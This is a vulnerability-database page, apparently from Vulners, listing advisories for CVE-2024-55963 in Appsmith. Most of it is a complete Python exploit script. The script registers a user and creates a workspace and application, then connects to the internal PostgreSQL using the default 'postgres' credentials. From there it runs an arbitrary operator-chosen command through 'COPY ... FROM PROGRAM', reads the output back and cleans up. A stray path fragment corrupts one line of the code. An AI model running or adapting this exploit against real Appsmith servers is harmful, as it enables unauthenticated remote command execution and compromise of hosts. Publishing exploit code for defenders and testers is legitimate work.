| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for Improper Access Control in Appsmith | 6 Jul 202500:28 | โ | githubexploit | |
| CVE-2024-55963 | 25 Mar 202516:43 | โ | circl | |
| Appsmith ๅฎๅ จๆผๆด | 26 Mar 202500:00 | โ | cnnvd | |
| CVE-2024-55963 | 26 Mar 202500:00 | โ | cve | |
| CVE-2024-55963 | 26 Mar 202500:00 | โ | cvelist | |
| AppSmith 1.47 - Remote Code Execution (RCE) | 3 Apr 202500:00 | โ | exploitdb | |
| Appsmith RCE | 7 Apr 202518:50 | โ | metasploit | |
| CVE-2024-55963 | 26 Mar 202520:15 | โ | nvd | |
| BIT-APPSMITH-2024-55963 | 2 Apr 202507:06 | โ | osv | |
| ๐ Appsmith Remote Code Execution | 7 Apr 202500:00 | โ | packetstorm |
# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.
import requests
import json
import pyfiglet
import argparse
# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE") # Replace with your desired title
print(banner)
# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()
# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command
if not base_url.startswith("http://") and not base_url.startswith("https://"):
base_url = "http://" + base_url
# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
"email": "[email protected]",
"password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()
# Login request
login_url = f"{base_url}/api/v1/login" # Adjust the URL as needed
login_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/user/login",
"Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}
login_data = {
"username": "[email protected]", # Adjusted to match the provided request
"password": "Testing123!"
}
# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()
# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
# Split the Set-Cookie header to get the cookie name and value
cookie_name, cookie_value = set_cookie.split(';')[0].split('=')
# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
fourth_request_url = f"{base_url}/api/v1/workspaces"
fourth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Connection": "keep-alive",
"Referer": f"{base_url}/applications",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
fourth_response.raise_for_status()
# Extract the 'id' from the response if it exists
try:
response_json = fourth_response.json()
workspace_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fourth_response.text) # Print the raw response for debugging
if workspace_id:
fifth_request_url = f"{base_url}/api/v1/applications"
fifth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Content-Length": "161",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/applications?workspaceId={workspace_id}",
"Cookie": f"{cookie_name}={cookie_value}",
}
fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})
print('Creating a new application...')
fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
fifth_response.raise_for_status()
try:
response_json = fifth_response.json()
application_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fifth_response.text)
# Sixth request to get workspace details
if workspace_id:
sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
sixth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting workspace details...')
sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
sixth_response.raise_for_status()
# Extract all plugin IDs from the response
try:
response_json = sixth_response.json()
plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]
# Loop through each plugin ID for the seventh request
print(f'Searching for vulnerable postgres database...')
for plugin_id in plugin_ids:
# Seventh request to get the form data for the plugin
seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
seventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
"Cookie": f"{cookie_name}={cookie_value}",
}
try:
seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
seventh_response.raise_for_status()
# Extracting the port value from the seventh response
try:
seventh_response_json = seventh_response.json()
if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
form_data = seventh_response_json['data']['form']
if any("postgres" in str(item) for item in form_data):
print(f"Vulnerable postgres database found.")
break
else:
pass
except (ValueError, IndexError) as e:
pass
except requests.exceptions.HTTPError as e:
print(f"Error checking plugin {plugin_id}: {e}")
continue
# Proceed to request 8 after finding "postgres"
# Proceed to request 8 after finding "postgres"
if "postgres" in str(seventh_response_json):
try:
# Try the environments API endpoint
eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
eighth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting the workspace details...')
eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
eighth_response.raise_for_status()
# Extracting the workspace ID from the eighth response
try:
eighth_response_json = eighth_response.json()
workspace_data = eighth_response_json.get("data", [{}])[0]
workspace_id_value = workspace_data.get("id")
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
except requests.exceptions.HTTPError as e:
# If the environments API fails, use the workspace ID we already have
print(f"Could not fetch environment details: {e}")
print("Using existing workspace ID for datasource creation...")
workspace_id_value = workspace_id
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)
# After the eighth request to get workspace details
if workspace_id_value:
ninth_request_url = f"{base_url}/api/v1/datasources"
ninth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
"Cookie": f"{cookie_name}={cookie_value}",
}
ninth_request_data = {
"pluginId": plugin_id,
"datasourceStorages": {
workspace_id_value: {
"datasourceConfiguration": {
"properties": [None, {"key": "Connection method", "value": "STANDARD"}],
"connection": {
"mode": "READ_WRITE",
"ssl": {"authType": "DEFAULT"}
},
"endpoints": [{"port": "5432", "host": "localhost"}],
"sshProxy": {"endpoints": [{"port": "22"}]},
"authentication": {
"databaseName": "postgres",
"username": "postgres",
"password": "postgres"
}
},
"datasourceId": "",
"environmentId": workspace_id_value,
"isConfigured": True
}
},
"name": "Untitled datasource 1",
"workspaceId": workspace_id
}
print('Connecting to vulnerable postgres database...')
ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
ninth_response.raise_for_status()
# Extracting the ID from the response
try:
ninth_response_json = ninth_response.json()
datasource_id = ninth_response_json.get("data", {}).get("id")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)
# After the ninth request to create the datasource
if datasource_id:
# 10th Request
tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
tenth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
tenth_request_data = {
"title": "SELECT",
"body": "create table poc (column1 TEXT);",
"suggested": True
}
print("Creating the table 'poc'...")
tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
tenth_response.raise_for_status()
# 11th Request
eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
eleventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
eleventh_request_data = {
"title": "SELECT",
"body": f"copy poc from program '{command_arg}';",
"suggested": True
}/CVE-2024-55963-Appsmith-RCE
print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()
# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
twelfth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for the 12th schema preview
twelfth_request_data = {
"title": "SELECT",
"body": "select * from poc;",
"suggested": True
}
# Print statement before the 12th request
print("Reading command output from poc table...\n")
# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)
# Extracting and printing the response from the 12th schema preview
try:
twelfth_response_json = twelfth_response.json()
# Extracting the specific data
body_data = twelfth_response_json.get("data", {}).get("body", [])
column1_values = [item.get("column1") for item in body_data] # Extract only the column1 values
print("Command output:")
print("----------------------------------------")
for value in column1_values:
print(value) # Print each column1 value
print("----------------------------------------\n")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text) # Print the raw response for debugging
# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
cleanup_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for cleanup
cleanup_request_data = {
"title": "SELECT",
"body": "DROP TABLE poc;", # Command to drop the table
"suggested": True
}
# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation